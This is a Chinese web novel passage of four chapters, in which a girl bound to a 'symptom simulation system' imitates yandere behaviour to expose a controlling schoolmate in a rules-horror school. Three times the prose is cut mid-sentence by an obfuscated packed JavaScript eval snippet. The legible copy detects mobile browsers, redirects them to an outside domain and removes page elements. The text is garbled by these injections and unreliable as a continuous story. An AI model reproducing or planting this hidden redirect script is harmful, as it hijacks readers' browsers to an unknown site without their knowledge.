《病症图鉴模拟系统:我靠抽取能力在无限世界称神》 1. 病娇图鉴1 “我跟你说,你不要让其他人知道,我脑子里有一家精神病院!”男生神秘兮兮的说道。 “?骚年,你在精神病院学斩神呐?醒醒吧你”,另一男声反驳道。 “你说,因为这个主角前期有精神病才有的这个神明精神病院还是因为有神明精神病院主角才有病?” “喂,你这话说的太糙了吧!什么叫主角有病,有病的主角当主角才有病吧!” “要我说,走在变强的路上,心理就没一个是正常的”。 有病的主角吗不小心偷听的赫希想,直到那道淡蓝色的光屏毫无预兆地在她眼前炸开。 赫希:……我有病?(迟疑) 它不是投影仪的光线,也不是窗外霓虹的折射,那光像是从空气里凭空生出来的,带着冰冷的电子质感,直直钻进她的脑海。机械音没有起伏,却精准地压过了教室里所有的声音——翻书声、笔尖划过纸张的沙沙声、甚至是刚刚那对男生互相交谈的声音,全都被这道声音碾成了模糊的背景。 【“症候模拟系统”绑定成功。检测到宿主符合病症模拟条件,任务世界警告??请宿主立刻前往该世界启动第一任务世界,开始传送——规则怪谈·雾隐中学。】 赫希:“呕!小玩意叽里呱啦说什么呢,呕!” 眩晕感来得比机械音更快。赫希感觉自己像是被扔进了高速旋转的洗衣机,课本上的积分公式扭曲成深黑色的漩涡,油墨字顺着漩涡边缘往下滑,连带着眼前的课桌、日光灯、甚至邻桌女生扎马尾的樱桃发圈,都开始变得透明、消融。 【在前往第一个世界前,我先做个自我介绍,宿主你好,我是病症图鉴模拟系统,编号是031415926535……】 赫希震惊:这不是阿兀吗?难道你是兀统吗? 【可以的宿主,我是兀统】 “这么乖吗?我勒个乖乖,你说你是病症模拟系统,顾名思义就是要我模拟病症,收集,额这个病症图鉴吗?”赫希扶额,指着这一系列都用两条锁链交叉覆盖的灰色状态图鉴说道。 【yes宿主,just do it!病娇图鉴已解锁,请宿主完成点亮任务,宿主做好准备,努力活下去吧!】兀统振奋道。 “啊啊啊,你一点也不乖!有病吧,我才刚来,不是啊,我有病啊!”赫希痛苦面具。 胃里翻江倒海,她下意识地想抓住桌沿,指尖却只碰到一片虚无。消毒水的味道先一步钻进鼻腔,带着旧纸张受潮后的霉味,还有一丝若有若无的、像是生锈铁丝的腥气。 等她终于能站稳时,晚自习教室的一切已经消失得无影无踪。 眼前是一栋哥特式建筑,尖顶戳在铅灰色的天空里,砖墙上爬满了枯萎的常春藤,藤蔓的纹路像干涸的血迹,紧紧扒着斑驳的墙面。门楣上挂着一块发黑的木牌,“雾隐中学”四个字被风雨侵蚀得只剩模糊的轮廓,笔画边缘的漆皮卷起来,像是在无声地尖叫。 风从建筑两侧的回廊里穿过去,带着深秋的凉意,刮得她校服的衣角猎猎作响。 赫希低头,才发现自己身上的衣服已经换了——不再是原来学校的蓝白校服,而是一件深灰色的水手服,领口的白蕾丝已经发黄,袖口绣着一朵小小的、同样枯萎的樱花图案。 “吁~,这衣服够劲!所以母校你什么时候可以多学学人家!”赫希自我调侃道。 “咦?”掌心不知何时多了一张纸。不是打印纸,是那种很薄的、泛黄的再生纸,边缘毛糙,像是从旧书里撕下来的。 纸上的字迹是用黑色墨水写的,笔锋很细,却透着一股说不出的诡异,标题用加粗的宋体写着「雾隐中学校规」,下面整整齐齐列着十三条规则,每一条后面都跟着令人心悸的“后果”: 1. 晚自习后21:00前必须熄灭所有教室灯光,未熄灭者将“被灯光带走”; 纸上这一条的末尾,不知被谁用红墨水点了个小点,像是一滴凝固的血。 “流鼻血啊,上火了就吃4片黄连上清片吧”赫希自我开导,试图转移周遭陌生环境导致的紧张和恐惧。 赫希抬头看了眼教学楼的窗户,好几间教室的灯还亮着,但里面没有任何身影,只有灯光透过玻璃,在地面上投下惨白的光斑,像一个个空荡的陷阱。 2. 艺术节期间(10月15日-10月17日),禁止单独进入话剧社后台,违反者将“成为新的道具”; 规则旁边画着一个小小的话剧面具,线条简单,却偏偏把嘴角画得向上扬起,透着一股诡异的笑。 赫希摸了摸口袋里的手机——屏幕是黑的,按了电源键也没反应,显然在这里无法查看日期,但“艺术节”这三个字,让她莫名想起了什么。 3. 校园内禁止踩踏红色地砖,若不慎踩踏,需在十分钟内到医务室领取“净化贴”,超时者将“被地砖吞噬”; 她低头看向脚下的地面。回廊的地砖是深灰色的,但每隔几块,就会有一块暗红色的砖嵌在里面,颜色深得发暗,像是吸饱了水。有几片枯萎的樱花瓣落在红色地砖上,刚碰到砖面,就瞬间蜷缩、变黑,最后化成了一撮灰。 4. 校草江澈的情书需在每日17:00前投入东侧信箱,逾期未投者将“失去被他注视的资格”; “江澈”这个名字第一次出现,纸上这几个字的墨迹似乎比其他字更重,像是写的时候用了更大的力气。赫希抬头看向校园东侧,隐约能看到一个绿色的信箱,挂在一棵光秃秃的樱花树下,信箱上贴着一张纸条,上面的字迹和校规上的一模一样:“江澈专属”。 5. 食堂只供应白色米饭,若出现红色米粒,需立即离开,不可停留超过三秒; 远处传来食堂开饭的铃声,叮铃铃的,却不像正常的铃声那样清脆,反而带着一种金属生锈后的沙哑。 赫希朝着铃声的方向看了一眼,食堂的烟囱里没有冒烟,只有一股淡淡的、像是血腥味的气息飘过来。 6. 图书馆三楼古籍区禁止翻阅编号“0714”的书,翻阅者将“看见不该看的过去”; 图书馆在教学楼的西侧,窗户是彩色玻璃的,阳光透过玻璃,在地面上投下斑斓的光斑,却透着一股说不出的阴冷。0714这个编号,赫希默默记在心里,总觉得这个数字像是在哪里见过。 7. 凌晨00:00后,禁止回应走廊里的脚步声,无论对方是谁; 教学楼的走廊里传来一阵脚步声,嗒、嗒、嗒,很慢,像是有人拖着脚走路。赫希屏住呼吸,往走廊里看了一眼,空荡荡的,只有风卷着落叶飘过,脚步声却在她耳边越来越近,又突然消失。 8. 若遇到“戴灰色围巾的老师”,需低头说“老师好”,不可直视其眼睛; 规则旁边画着一条简单的围巾,线条歪歪扭扭,像是小孩子画的。赫希想起刚才闻到的消毒水味,莫名觉得,那个“老师”或许就在附近。 9. 艺术节话剧社的压轴戏必须由江澈主演,任何试图替换者将“失去表演的权利”; “表演的权利”——这个后果听起来比其他的温和,但赫希却觉得背后发寒。她好像能想象到,有人试图替换江澈后,会永远失去站在舞台上的机会,甚至失去说话、行动的“权利”。 10. 校园西侧的樱花树在非花季开花时,禁止拍照,拍照者将“永远留在花里”; 西侧的樱花树光秃秃的,枝桠扭曲,像一个个伸向天空的爪子。赫希记得现在不是樱花季,但刚才在走廊里,她好像看到其中一棵树上开了一朵白色的樱花,花瓣上沾着一丝红色的痕迹。 不对劲,有一百分的不对劲,这个老师和校草不简单,将他们两个单独作为规则就不简单。赫希凝眉,玩笑的心情瞬间消散。 11. 若听到广播播放《致爱丽丝》的反向旋律,需立即躲进最近的厕所隔间,直至旋律停止; “好消息,有躲的地方,坏消息,有躲的地方”赫希:…… 校园里的广播喇叭挂在电线杆上,布满了锈迹。赫希仔细听了听,没有声音,但她总觉得,下一秒那诡异的旋律就会响起来。 12. 江澈的薄荷糖只分给“眼里只有他的人”,接受者需当天吃完,不可留存; 这一条的字迹最潦草,像是写的时候手在抖。赫希摸了摸自己的口袋,里面没有薄荷糖,只有那张叠好的校规。 13. 所有规则的最终解释权归“雾隐中学”所有,违反任意一条,后果自负。 最后一条的末尾,画着一个小小的笑脸,嘴角咧得很大,却没有眼睛,透着一股说不出的诡异。 赫希把校规叠好,小心翼翼地塞进水手服的口袋里。就在这时,系统的机械音再次响起,比刚才更清晰,像是贴在她的耳边: 【任务世界加载完毕。】 【目标角色:江澈,雾隐中学校草,表面温和完美,实则为隐性病娇。童年因被母亲抛弃留下严重心理创伤,将“绝对控制欲”作为安全感的唯一来源。惯用“温柔人设”诱捕符合他标准的“猎物”——那些对他表现出偏执、依赖、“眼里只有他”的人。】 【核心任务:72小时内,模拟病娇特质接近江澈,揭露其“完美人设”下的极端控制欲。模拟度需≥80%。】 【任务奖励:成功后可提取“精神系”能力,具体能力可在宿主已知的游戏和动漫角色中随机生成;失败惩罚:精神污染度+30%,强制滞留任务世界,直至精神彻底崩溃,成为真正的病症患者!】 精神污染度、强制滞留、病症患者……这些词语像冰锥一样扎进赫希的心里。她不是第一次知道这种病娇,但“规则怪谈”加上“病娇模拟”,还是第一次。 尤其是江澈的设定,“隐性病娇”比那些直白的偏执狂更危险,他的温柔是陷阱,微笑是刀刃,你永远不知道什么时候会踩中他的雷区。 赫希深吸了一口气,压下心里的不安。她抬眼看向教学楼的方向,正好看见一群学生往这边走。大概是刚上完课,学生们三三两两的,穿着和她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赫希深吸一口气,快步迎了上去。在走到江澈面前三步远的地方,她故意脚下一绊,手里的笔记本“哗啦”一声掉在地上。纸张散落一地,有几张飘到了江澈的脚边。 周围的学生都停了下来,目光齐刷刷地落在她身上。那些目光里有好奇,有惊讶,还有一丝不易察觉的恐惧——显然,没人敢这么“不小心”地撞到江澈面前。 赫希蹲下身,没有去捡那些散落在地上的纸,而是抬起头,目光牢牢锁住江澈的鞋尖。那是一双白色的帆布鞋,擦得一尘不染,连鞋底的纹路里都没有一点灰尘。鞋带系成了整齐的蝴蝶结,结的位置在鞋子的正中央,角度分毫不差——就像他的人一样,完美得近乎偏执。 江澈身边的女生立刻蹲下身,想去帮忙捡纸:“同学,我帮你……” “不用。”赫希的声音突然响起,带着刻意的偏执,打断了女生的话。她的声音不高,却带着一股不容置疑的坚定,让那个女生的手僵在了半空中。 赫希慢慢伸出手,捏起飘到江澈脚边的一张纸。那张纸上没有字,是空白的,但她却像是拿着什么重要的东西一样,慢慢递到江澈面前。她的头发垂在脸侧,遮住了大半张脸,只露出半只眼睛。那只眼睛里没有惊慌,没有歉意,只有一种近乎疯狂的执拗,像极了一个孩子在守护自己唯一的玩具。 “你的鞋带歪了。”她的声音很轻,却清晰地传到了每个人的耳朵里,“只有我能帮你系好。” 周围的女生发出细碎的惊呼,声音里满是难以置信。她们看着赫希,像是在看一个疯子——谁不知道江澈有洁癖,谁不知道他最讨厌别人碰他的东西,更别说蹲下来给他系鞋带了。 江澈脸上的微笑顿了顿。他低头看向赫希,阳光从她的发梢间漏下来,在她的脸上投下斑驳的阴影。女生的半只眼睛里满是执拗,那种眼神,像极了他小时候抓着母亲衣角不肯放手的模样——那时候他也是这样,明明知道母亲要走,却还是不肯松开,以为只要自己足够偏执,就能留住她。 他的指尖摩挲手表带的动作停了下来。几秒钟的沉默后,他弯了弯唇角,那抹微笑比刚才更深了一点,却透着一股说不出的玩味。 “是吗?”他的声音比刚才更低了一些,带着一丝不易察觉的愉悦。他竟真的单膝蹲了下来,膝盖离地面还有一厘米的距离,既不会弄脏裤子,也不会显得过于疏远。“那麻烦你了。” 周围的学生都惊呆了,连刚才说话的女生都忘了起身,愣愣地看着眼前的一幕。 赫希的指尖触到他鞋带的瞬间,系统的提示音立刻在脑海里响起,带着一丝人性的雀跃: 【目标关注度+10%。初步模拟判定:病娇“专属感”特质触发——通过“只有我能做”的偏执行为,建立与目标的特殊连接,满足目标对“唯一特殊性”的潜在需求。当前模拟度:15%。】 15%。比赫希预想的要高。看来,江澈对这种“偏执的专属感”确实很敏感。 她的指尖很轻,却故意放慢了系鞋带的速度。她的手指反复划过鞋带的蝴蝶结,像是在确认这个结是否完美,又像是在通过这个动作,宣示自己的“专属权”。 江澈的目光落在她的发顶,嘴角的微笑一直没有消失,但他的指尖,又开始无意识地摩挲起手表带。只是这一次,那个动作里没有了之前的紧绷,反而多了一丝……期待? 2. 病娇图鉴2 赫希系完鞋带起身时,指尖故意蹭过江澈的手腕。那处皮肤温热,却带着一丝不易察觉的紧绷,很明显,他在克制情绪。 “好了。”她后退半步,目光却仍黏在他的鞋上,眼神中带着不易察觉的偏执,像在确认自己的“作品”是否完美,“这次的结不会松了。” 江澈恍惚一瞬后便站直身体,低头看了眼自己的鞋带,又抬眼看向她,笑容里多了些许真实的暖意:“多谢。你是,转学生?我没见过你。” “嗯,我今天刚转来。”赫希垂下眼,故意露出一点怯意,却在垂眸的瞬间,用余光扫过他腕间的手表,表盘内侧刻着一个模糊的“澈”字,边缘有细小的划痕,像是被反复摩挲过和使用过。 周围的学生还没散去,他们的目光都胶着在这两人身上。其中有个扎双马尾的女生忍不住开口:“江澈学长,艺术节的话剧彩排……” “晚点再说。”江澈打断她,语气却依旧温和,却带着不容置疑的强势。他转向赫希,指尖指向教学楼西侧,语气温和地询问道,“教务处在那边,需要我带你去吗?” “不用。”赫希立刻拒绝,语气里的偏执又冒了出来,“我自己找。但你要记住,下次鞋带松了,只能让我系。” 俗话说,走病娇的路,让病娇无路可走! 说完,她弯腰捡起地上的笔记本,转身就走。走到回廊拐角时,她刻意放慢脚步,听见身后传来江澈的声音,带着笑意对身边的人说:“她很有趣,不是吗?” 兀统提示音适时响起:【目标兴趣值+5%,模拟度维持15%,请宿主继续加油!】 赫希:老话常讲,老师是最好的兴趣。 兀统:……原话是这样吗?…… 兀统的声音落下,赫希便攥紧笔记本,不带一丝犹豫地直直顺着回廊往教务处走。脚下的地砖依旧是灰红交错,她刻意避开那些暗红色的砖,目光却忍不住留意——有块红色地砖的边缘,似乎沾着一点白色的布料纤维,像是校服上的。 刚走到教务处门口,就听见里面传来争吵声。一个学生男声带着哭腔,恐惧且颤抖地说着:“我真的不是故意的!就是不小心踩了一下,我本来马上就要去医务室的!可医务室没人……” 不等学生男说完,又响起另一道陌生的声音,“规则里写得很清楚,违规就是违规,不容任何人打破!。”他的声音冰冷,像是金属在地上摩擦的声音,“你要知道,雾隐中学不养违反规则的人。” 禁忌play吗,有意思,霸道老师爱上我?赫希止不住的乱想着。 赫希停下脚步,欲透过门缝往里看,发现教务处的办公桌后就坐着一个男人,戴着灰色的围巾遮住了他大半张脸,只露出一双没有瞳孔的灰色充满死寂的眼睛,赫希认出来了,这是校规第八条里“戴灰色围巾的老师”。他面前站着一个男生,校服裤的裤脚沾着灰,右脚的鞋子边缘有暗红色的印记,显然是踩过红色地砖。 赫希:这年头,……地砖都会褪色吗?…… 察觉到宿主奇怪想法的兀统:……这难道不是洒在地砖上的红色血迹吗? 男生还在哭求:“老师,请您再给我一次机会……我还有话剧社的彩排……” “话剧社?”灰围巾老师的声音顿了顿,突然笑了,笑声像是破风箱在响,“你自己清楚,江澈不需要不守规则的同伴!” 赫希:…暧昧了兄弟,你们两指定有什么。 他一抬手,锋利的指尖划过办公桌上的红色印章。印章落下的瞬间,男生发出一声短促的尖叫,身体开始变得透明,像被蒸发的水汽。几秒钟后,办公室里只剩下灰围巾老师,还有地上那只沾着暗红印记的鞋子。 赫希心脏猛地一缩,暗道不好,转身便就走。没想刚拐过弯,就撞上一堵人肉墙。 “跑什么?”江澈的沉稳的声音在赫希头顶响起,他手里正拿着一颗薄荷糖,糖纸是银色的,在阳光下闪着光,“你看到什么了?看了多久?” 赫希抬头,几乎是一瞬间反应过来,故意让眼眶泛红,抓住他的袖口,语气带着偏执的依赖:“那个老师……他把这么大的人变没了。害怕……只有你能保护我了” 她的指尖用力攥着他的袖口,指甲几乎嵌进布料里。这是她刻意设计的,病娇的“依赖感”,是接近江澈的第二步。 江澈低头看着她抓着自己袖口而微微颤抖的手,嘴角的笑意又深了些。他抬手,把薄荷糖亲昵又自然地塞进她的嘴里,安慰道:“别怕,只要你遵守规则,乖乖听我的话,就不会有事。” 薄荷的清凉瞬间在赫希的口腔里炸开,带着一丝甜意。赫希咬着糖,脸快速的靠近他,目光牢牢锁住他的眼睛,歪头道:“你知道的,我只听你的话。但你不能让别人碰你,尤其是刚才那个双马尾女生,她看你的眼神不对,我不喜欢她这样。” 【目标愉悦度+8%,病娇“占有欲”特质触发,模拟度提升至23%。】 江澈不禁笑出了声,转而对上赫希的眼睛,抬手揉了揉她的头发,宠溺道:“好,只对你一个人好。对了,明天记得写情书,17点前要投进东侧信箱。” 他说完转身便走了,袖口被赫希攥过的地方,留下了一道浅浅的褶皱。赫希看着他的背影,摸了摸口袋里的写有校规的纸条——刚才在教务处门口,她好像看到灰围巾老师的办公桌上,放着一本编号“0714”的书。 她望着窗外渐渐黑下来的天,心中暗暗决定明天到那边一探究竟,即使有生命危险,也好比过时刻提心吊胆地等待兀统那残酷的惩罚,起码现在还有路可走,有迹可循…… 路漫漫其修远兮,吾将上下而求索!即使是完全不对版的话,赫希也习惯这样不着调的安慰自己。赫希收拾完心情,与同个宿舍的女同学引领下回到了属于“自己”的宿舍休息。 第二天清晨,赫希被吵闹的广播声吵醒。宿舍是四人间,另外三个女生都已经起床,正对着镜子化妆,脸上涂着厚厚的粉底,像是在掩盖什么。 “快画吧,今天要去话剧社帮忙。”一个女生一边涂口红,一边对赫希解释道,“昨天那个值日生不见了,听说就是踩了红色地砖,超时没去领净化贴,”说到后面,所有人便神奇般都沉默着没有回应。 …… “嘘……别乱说。”另一个女生压低声音,“被江澈学长听到就不好了,他不喜欢我们议论这些。” 赫希默默下床,走到窗边。看着窗外的天色,灰蒙蒙的,西侧的樱花树也依旧光秃秃的,但昨天那朵白色的樱花,今天又开了一朵,花瓣上的红色痕迹更明显了,像是渗出来的血。 她从书包里拿出信纸,开始写情书。没有写肉麻的情话,只写了一句:“你的鞋带以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她转身就跑,根本没管赫希。赫希看着她的背影,嘴角勾起一抹冷笑——这就是江澈身边的人,看似亲近,实则各怀鬼胎,一遇到危险就会立刻抛弃对方。 赫希立刻往医务室跑。医务室在教学楼的一楼,门口挂着一个红色的十字架,门是虚掩着的。她缓缓推开门,先感受到的,是弥漫着浓重的消毒水味,一个穿着白大褂的护士坐在桌子后,脸上戴着口罩,只露出一双无神的眼睛。 “你好,我踩了红色地砖,需要净化贴。”赫希深色正常道,像是在说我发烧了这样简单的话一样。 护士没有说话,转身从抽屉里拿出一张黄色的贴纸,贴在她的手腕上。贴纸刚贴上,赫希就感觉手腕处传来一阵灼烧感,像是有什么东西在被剥离。 “别弄丢了,三天内不能撕下来。”护士的声音很沙哑,像是很久没说话,像是刻意提示般又补充道,“还有,别去图书馆三楼,尤其是0714号书……” 赫希点点头表示理解,转身离开。刚走到门口,就看见江澈站在走廊尽头,手里拿着一杯热牛奶,正看着她。 “怎么这么慢?”他走过来,把热牛奶递给她,“情书投了吗?” “投了。”赫希接过牛奶,故意把贴着黄色贴纸的手腕凑到他面前,“你看,我刚才不小心踩到了红色地砖,我好害怕啊,幸好及时拿到了净化贴。”说到后边,像是想到什么可怕的画面,语气颤抖起来。 江澈的目光落在她的手腕上,双手抓着赫希的手,一只手的指尖轻轻碰了碰净化贴,动作很轻,却带着一丝占有欲:“以后小心点,没有我的允许,不准受伤。” “好”赫希乖巧回答,语气带着一丝明显的愉悦。 【目标保护欲+7%,病娇“脆弱依赖”特质触发,模拟度提升至30%。】 3. 病娇图鉴3 嘱托完赫希后,江澈便借口临时有事离开了。直至看见他的背景完全消失在眼底,赫希才开始回想起之前自己的一系列举动是否存在有不和自己偏执病娇人设的举动,发现暂时没有什么大问题便放下心来。 只要明确走什么路后,后续的计划便好进行了,只是距离任务结束还有48小时,模拟度刚过三成,还没到可以抽取动漫或者游戏角色能力的模拟度,没有自保的能力只能任人宰割,这滋味不好受。 她不会成为只会依靠别人的小白兔,她只信自己,只要一切有利于自己!赫希闭上眼睛像是回忆什么东西一般,睁眼便又是一片无辜又偏执的深邃在眼中回荡。 赫希的指尖细细摩挲着腕间的净化贴,之前的灼烧感早已消退,只剩一层薄薄的黄纸紧贴皮肤,这是她在雾隐中学的“保命符”,也是江澈控制欲的隐性证明。她必须加快进度,单纯的占有欲和依赖感,不过是触碰了江澈的表层情绪,要想揭露他完美人设下的极端控制欲,就必须找到他的“软肋”。 午休铃响时,赫希避开人群,独自往西侧的图书馆走去。沿途的红色地砖泛着暗沉的光,上午那个学生男消失的地方,只剩一道浅浅的印记,像是被地砖“吞噬”后留下的疤痕。她刻意绕开那些暗红砖块,鞋底碾过枯叶的声音,在死寂的校园里格外清晰。 图书馆的门是厚重的橡木材质,推开时发出“吱呀”的响声,像是老人断气前的最后一声叹息。门楣上刻着“雾隐中学图书馆”六个字,字迹被虫蛀得模糊,边缘爬着几缕枯萎的蛛丝。 一楼是普通图书区,书架高达天花板,上面的书蒙着厚厚的灰,指尖一碰就能扬起一层白雾。书脊上的书名大多已辨认不清,只有少数几本还能看清“爱丽丝”“话剧”等字眼,像是被人刻意保留下来的。 赫希随手抽出一本,书页间掉出一张泛黄的照片——照片里是个穿白衬衫的女生,站在樱花树下,手里拿着一本黑色封面的书,封面上的银色樱花图案格外显眼。 二楼的自习区更显诡异。几个学生坐在桌子前,低着头,手里紧紧地握着笔,却只是机械地在纸上画圈,圈的大小一模一样,笔尖划破纸张也毫无反应。他们的脸上没有任何表情,眼神空洞,像是被抽走了灵魂。 赫希走过时,一个女生突然抬头,嘴角咧开一个僵硬的笑容:“别去三楼……会看见不该看的……”话音未落,又低下头,继续画圈。 赫希没有停留,径直上了三楼。三楼的光线昏暗,只有几扇小窗透进微弱的阳光,在地面上投下斑驳的光斑,像一块块破碎的镜子。古籍区在最里面,书架上摆满了线装书,书脊上的编号用朱砂写就,历经岁月却依旧鲜红,像是凝固的血。 她沿着书架慢慢走,目光在编号上逐一扫过。终于,在书架最底层的角落,她找到了编号“0714”的书。那是一本黑色封面的线装书,封面上没有书名,只绣着一朵银色的樱花,花瓣纹路精致,和江澈领口的胸针一模一样,甚至连花瓣上的细小划痕都分毫不差。 赫希的指尖刚触到书脊,身后突然传来脚步声,不是她的,是另一个人的,步伐很轻,却带着一股阴冷的气息。她猛地转身,看见一个穿深灰色水手服的女生站在那里,脸色苍白得像纸,眼下有浓重的青黑,眼神空洞得吓人。 “求你,别碰那本书。”女生的声音很轻,像是从很远的地方传来,带着一丝未散的恐惧,“去年艺术节,有个女生翻了这本书,第二天就不见了。有人说,在樱花树下看到过她,她的脸变成了樱花的形状,花瓣上还沾着她的头发……” 恩,脑子有画面了,赫希皱紧眉头,指尖依旧停在书脊上:“……你是谁?为什么在这里?” “我是话剧社的社员,林晓。”女生低下头,声音带着压抑的哭腔,“今年的压轴戏,不出意外的话,我是女主角,但江澈说我‘眼里没有他’,就把我换掉了。奇怪的是去年的女主角,是他亲自找的,和你很像……一样喜欢对他说,‘只有我能’。” “去年的女主角,是不是叫苏瑶?”赫希突然想起医务室护士的警告,还有教务处门口看到的那本书,“她翻了0714号书,是不是因为发现了江澈的秘密?” 林晓猛地抬头,眼里闪过一丝震惊:“你怎么知道?苏瑶姐和我说过,江澈的妈妈以前是这所学校的话剧社老师,后来抛弃了他。0714号书,是他妈妈的日记,里面记着他小时候的事。” 就在这时,校园里的广播突然响了起来。不是正常的铃声,而是《致爱丽丝》的旋律,但每个音符都被颠倒了,原本温柔的旋律变得诡异阴冷,像是无数根细针,扎进人的耳膜。 【警告!检测到《致爱丽丝》反向旋律,距离旋律结束还有5分钟,请宿主立即躲进最近的厕所隔间!】兀统的提示音带着急促的电流声,比以往任何一次都要紧张。 赫希来不及多想,一把抓住林晓的手腕,拉着她就往楼下跑。林晓的手腕很凉,像是没有体温一般,她一边跑一边轻声哭道:“是,是灰围巾老师!他每次都会在反向旋律时出来抓人,被他找到的人,都会变成道具的!我们,我们……。” “……闭嘴!我们赶紧躲好”赫希不耐烦回道。 图书馆的厕所就在一楼门口,门板是破旧的木板,上面刻着密密麻麻的血色红字——“救命!”,字迹深浅不一,像是不同的人留下的。赫希推开门,把林晓塞进最里面的隔间,自己则钻进旁边的隔间,反手锁上了门。 隔间外,属于《致爱丽丝》的反向旋律仍在回荡,夹杂着不属于人类的缓慢脚步声,嗒、嗒、嗒响着,每一步都像是踩在人的心脏上。那是灰围巾老师的脚步声,赫希记得,上午在教务处门口,他就是这样走路的,鞋底擦过地面,带着一种令人窒息的压迫感。 “出来吧,我知道你们在里面。”灰围巾老师的声音在门外响起,带着诡异的笑意,像是破风箱在拉动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502564|186019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 震惊!雾都中学某男老师进女厕所!还管不管?赫希无语地在心底翻了个白眼,有种不知道和谁吐槽的痛苦,暗道,回应你我就是有病……兀统:宿主,你为什么要骂自己…… “无论是谁,违反规则的人,都要受到惩罚,图书馆三楼,可不是谁都能去的地方。” 低沉沙哑的声音在空旷的厕所间回荡,回应的死一般的寂静…… 死亡的气息扑面而来,隔间里的林晓开始不受控制地发抖,牙齿咬得咯咯响,小声啜泣起来。赫希隔着门板,压低声音对她说:“别出声,他看不到里面,只要等旋律结束就安全了。” 她能感觉到,灰围巾老师的脚步声停在了她的隔间门口。门板被轻轻敲击了一下,力道很轻,却像是敲在赫希的心上:“里面的同学,快出来吧。江澈还在等你排练呢,他可不喜欢迟到的人。” 赫希屏住呼吸,指尖攥紧了口袋里的校规。她知道,这是陷阱!只要她开门,就会像那个值日生一样,被“规则”带走。 旋律还在继续,每一秒都像一个世纪那么漫长。终于,在最后一个诡异的音符落下时,脚步声渐渐远去,灰围巾老师的声音也消失在了走廊尽头。 赫希等了很长一段时间,再次确认外面没人后,才推开隔间门。 林晓的脸色依旧惨白,浑身都在发抖,她抓着赫希的胳膊:“谢谢你……刚才我还以为我们要死了。” “你为什么这么肯定灰围巾老师会杀我们?”赫希由着林晓扶着她走出厕所,问道“他到底是谁?” “他是江澈的帮凶。”林晓的声音带着恐惧,“他以前是苏晚老师的学生,苏晚老师走后,他就留在了学校,帮江澈建立了这些规则。那些违反规则的人,都被他变成道具。他的围巾里,就藏着一张人脸,这是去年试图反抗江澈的话剧社社长的脸。” 赫希的心脏猛地一缩,难怪灰围巾老师总是用围巾遮住大半张脸,原来里面藏着这样的秘密。 “江澈的手表,是不是苏晚老师留下的?”赫希想起江澈总是摩挲手表的动作,“还有围绕江澈的规则,是不是因为被妈妈抛弃留下的创伤所以创建的?” 林晓点点头,从口袋里拿出一张皱巴巴的照片,照片里是个穿白大褂的女人,抱着一个小男孩,小男孩手腕上戴着一块银色的手表,同江澈现在戴的那块一模一样。“这是苏晚老师和小时候的江澈。苏晚老师走的时候,只留下了这块手表,说‘等手表不走了,我就回来’。但江澈一直把手表擦得很亮,让它永远走下去,他以为这样,妈妈就会回来。” 就在这时,赫希的口袋里传来一阵震动,屏幕上,是她以为早就失灵的手机,竟然开机了。屏幕上显示着一条短信,发件人是“江澈”,上面只有短短的一句话: “在哪?立刻来话剧社后台,我等你。别让我生气。” 短信末尾,还附着一个微笑的表情,却透着一股冰冷的控制欲。 4. 病娇图鉴4 赫希赶到话剧社后台时,门是虚掩着的,里面传来布料摩擦的窸窣声,夹杂着细微的呼吸声。她推开门,一股浓重的脂粉味扑面而来,混合着旧布料的霉味,呛得她忍不住咳嗽了一声。 后台的光线很暗,只有几盏聚光灯亮着,光束落在中央的镜子前,江澈正站在那里,穿着一件白色的爱丽丝礼服,裙摆上绣着银色的樱花图案,和苏晚日记里画的樱花一模一样。他戴着黑色的兔耳朵发箍,发箍上的绒毛沾着一丝暗红的痕迹,像是干涸的血迹。 哇塞,兔男郎,吁~赫希在心里大声地对着江澈吹着口哨,妙哉,妙哉。 兀统:妙哉!尿啊~ 赫希:尿啊~ 江澈只一味扮演。 “你来了。”江澈转过身,脸上带着温柔的笑,眼底却没有一丝笑意,仔细看就能发现这像是在审视一件物品。他手里拿着一个银色的发夹,上面嵌着一颗小小的珍珠,“帮我把发夹别在头发上,位置要正好在左耳上方三厘米处。” 赫希走过去,接过发夹。她的指尖碰到他的头发时,能感觉到他的头皮紧绷着,他在紧张,或者说,在压抑着某种情绪。发夹的针尖很尖,她故意放慢动作,看着镜子里江澈的眼睛,那里面映着她的身影,却带着一种占有欲的疯狂。 “刚才广播响的时候,你在哪?”江澈突然开口,语气依旧温和,却带着一丝不容置疑的试探,“我去宿舍找你,她们说你出去了。” “在图书馆。”赫希的指尖停在他的头发上,故意停顿了一下,看着镜子里他的眼睛与他对视,“我去了三楼古籍区,找到了编号0714的书,差点就翻开了。” 江澈的身体瞬间僵住,放在身侧的手猛地攥紧,指节泛白。他指尖摩挲手表带的动作变得急促,表带的接缝处被他捏得变了形。但他很快恢复了笑容,只是那笑容比之前更冷了:“为什么想翻那本书?你对我的过去,这么感兴趣吗?” “不是感兴趣。”赫希的声音带着偏执的认真,她放下发夹,转过身,直视着江澈的眼睛,“我想成为最了解你的人,要比苏晚老师还了解你。我想知道,你为什么喜欢樱花,为什么总摩挲手表,为什么要让所有人都‘眼里只有你’。” 【目标江澈震惊度+10%,病娇“深度共情”特质触发,模拟度提升至45%。】 兀统的提示音刚落,江澈的眼神突然变了。那层温和的伪装像是被撕破,露出了底下的脆弱和疯狂。 他猛地伸手,抱住赫希,下巴抵在她的肩膀上,声音带着一丝不易察觉的颤抖:“别离开我,别离开。” 